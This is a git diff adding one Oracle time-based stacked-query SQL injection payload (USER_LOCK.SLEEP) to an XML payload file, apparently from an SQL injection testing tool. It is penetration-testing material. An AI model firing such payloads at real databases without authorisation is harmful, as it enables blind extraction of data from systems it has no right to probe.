diff --git a/xml/payloads.xml b/xml/payloads.xml
index c45ec1374..372943511 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -1474,6 +1474,26 @@ Formats:
         </details>
     </test>
 
+    <test>
+        <title>Oracle stacked queries (USER_LOCK.SLEEP)</title>
+        <stype>4</stype>
+        <level>5</level>
+        <risk>0</risk>
+        <clause>0</clause>
+        <where>1</where>
+        <vector>; BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END;</vector>
+        <request>
+            <payload>; BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END;</payload>
+            <comment>--</comment>
+        </request>
+        <response>
+            <time>[SLEEPTIME]</time>
+        </response>
+        <details>
+            <dbms>Oracle</dbms>
+        </details>
+    </test>
+
     <test>
         <title>SQLite &gt; 2.0 stacked queries (heavy query)</title>
         <stype>4</stype>